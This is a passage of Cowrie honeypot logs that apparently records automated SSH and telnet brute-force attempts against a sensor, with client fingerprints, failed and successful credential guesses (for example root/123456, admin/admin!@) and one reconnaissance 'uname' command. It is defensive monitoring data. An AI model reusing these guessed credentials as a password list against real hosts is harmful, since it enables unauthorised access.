iffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:33.130636Z","src_ip":"43.134.228.151","session":"ab234e819536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxx","message":"login attempt [root/xxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.146069Z","src_ip":"43.134.228.151","session":"ab234e819536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49796,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76f6f2a1926","protocol":"ssh","message":"New connection: 31.40.204.166:49796 (159.203.135.109:22) [session: a76f6f2a1926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.182755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.194157Z","src_ip":"31.40.204.166","session":"a76f6f2a1926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.308568Z","src_ip":"31.40.204.166","session":"a76f6f2a1926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.51373314857483,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.501801Z","src_ip":"152.42.224.71","session":"b3d015b2533b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37424,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa9e823ce28d","protocol":"ssh","message":"New connection: 103.153.68.219:37424 (159.203.135.109:22) [session: fa9e823ce28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.632303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.637108Z","src_ip":"103.153.68.219","session":"fa9e823ce28d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.887912Z","src_ip":"103.153.68.219","session":"fa9e823ce28d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:34.915142Z","src_ip":"31.40.204.166","session":"a76f6f2a1926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:35.394969Z","src_ip":"43.134.228.151","session":"ab234e819536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lalala","message":"login attempt [root/lalala] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:35.633283Z","src_ip":"103.153.68.219","session":"fa9e823ce28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:36.121715Z","src_ip":"31.40.204.166","session":"a76f6f2a1926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:36.884609Z","src_ip":"103.153.68.219","session":"fa9e823ce28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52344,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7bb554e4b80","protocol":"telnet","message":"New connection: 152.42.224.71:52344 (10.17.0.5:23) [session: c7bb554e4b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:37.241328Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52348,"dst_ip":"10.17.0.5","dst_port":23,"session":"71ca5a3ffe24","protocol":"telnet","message":"New connection: 152.42.224.71:52348 (10.17.0.5:23) [session: 71ca5a3ffe24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:38.868413Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52364,"dst_ip":"10.17.0.5","dst_port":23,"session":"9981174d8679","protocol":"telnet","message":"New connection: 152.42.224.71:52364 (10.17.0.5:23) [session: 9981174d8679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:40.394111Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52366,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b89f2debfd","protocol":"telnet","message":"New connection: 152.42.224.71:52366 (10.17.0.5:23) [session: a3b89f2debfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:42.417883Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52378,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f0eb1b1e6c","protocol":"telnet","message":"New connection: 152.42.224.71:52378 (10.17.0.5:23) [session: 42f0eb1b1e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:43.375805Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":15394,"dst_ip":"159.203.135.109","dst_port":22,"session":"17a1a96c17ad","protocol":"ssh","message":"New connection: 182.217.16.126:15394 (159.203.135.109:22) [session: 17a1a96c17ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:43.567778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:43.572355Z","src_ip":"182.217.16.126","session":"17a1a96c17ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:43.779031Z","src_ip":"182.217.16.126","session":"17a1a96c17ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxx","message":"login attempt [root/xxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:44.637396Z","src_ip":"182.217.16.126","session":"17a1a96c17ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:45.846464Z","src_ip":"182.217.16.126","session":"17a1a96c17ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36534,"dst_ip":"159.203.135.109","dst_port":22,"session":"579fe6fbd4ed","protocol":"ssh","message":"New connection: 31.40.204.166:36534 (159.203.135.109:22) [session: 579fe6fbd4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:46.118607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:46.325324Z","src_ip":"31.40.204.166","session":"579fe6fbd4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:46.328511Z","src_ip":"31.40.204.166","session":"579fe6fbd4ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:47.121145Z","src_ip":"31.40.204.166","session":"579fe6fbd4ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:47.453980Z","src_ip":"31.40.204.166","session":"579fe6fbd4ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:47.457510Z","src_ip":"31.40.204.166","session":"579fe6fbd4ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:47.624237Z","src_ip":"31.40.204.166","session":"579fe6fbd4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:47.628707Z","src_ip":"31.40.204.166","session":"579fe6fbd4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.36037278175354,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:52.037231Z","src_ip":"152.42.224.71","session":"48d4b4e43eca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39404,"dst_ip":"10.17.0.5","dst_port":23,"session":"619a726f02ae","protocol":"telnet","message":"New connection: 152.42.224.71:39404 (10.17.0.5:23) [session: 619a726f02ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:52.046016Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":44926,"dst_ip":"159.203.135.109","dst_port":22,"session":"a41aec66c49e","protocol":"ssh","message":"New connection: 94.230.136.33:44926 (159.203.135.109:22) [session: a41aec66c49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:53.209529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:53.213713Z","src_ip":"94.230.136.33","session":"a41aec66c49e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:53.361305Z","src_ip":"94.230.136.33","session":"a41aec66c49e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kuai","message":"login attempt [root/kuai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:53.985770Z","src_ip":"94.230.136.33","session":"a41aec66c49e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39426,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e981e276dc3","protocol":"telnet","message":"New connection: 152.42.224.71:39426 (10.17.0.5:23) [session: 0e981e276dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:54.595616Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:55.136826Z","src_ip":"94.230.136.33","session":"a41aec66c49e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39416,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b12e2b31a46","protocol":"telnet","message":"New connection: 152.42.224.71:39416 (10.17.0.5:23) [session: 1b12e2b31a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:55.267344Z"}
{"eventid":"cowrie.session.closed","duration":45.25892090797424,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:56.532889Z","src_ip":"152.42.224.71","session":"91004862c7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.31484341621399,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:58.012407Z","src_ip":"152.42.224.71","session":"d4dd4e6d3598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59318,"dst_ip":"159.203.135.109","dst_port":22,"session":"62fb91dd4f00","protocol":"ssh","message":"New connection: 31.40.204.166:59318 (159.203.135.109:22) [session: 62fb91dd4f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:59.485650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:59.501581Z","src_ip":"31.40.204.166","session":"62fb91dd4f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:59.690599Z","src_ip":"31.40.204.166","session":"62fb91dd4f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:00.218768Z","src_ip":"31.40.204.166","session":"62fb91dd4f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:01.492941Z","src_ip":"31.40.204.166","session":"62fb91dd4f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44802,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcb17d6fb9a7","protocol":"telnet","message":"New connection: 152.42.224.71:44802 (10.17.0.5:23) [session: dcb17d6fb9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:01.821040Z"}
{"eventid":"cowrie.session.closed","duration":120.00993490219116,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:10.780777Z","src_ip":"152.42.224.71","session":"15dc9da4c215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58390,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3bebdd0ad9e","protocol":"ssh","message":"New connection: 31.40.204.166:58390 (159.203.135.109:22) [session: c3bebdd0ad9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:27:11.686569Z"}
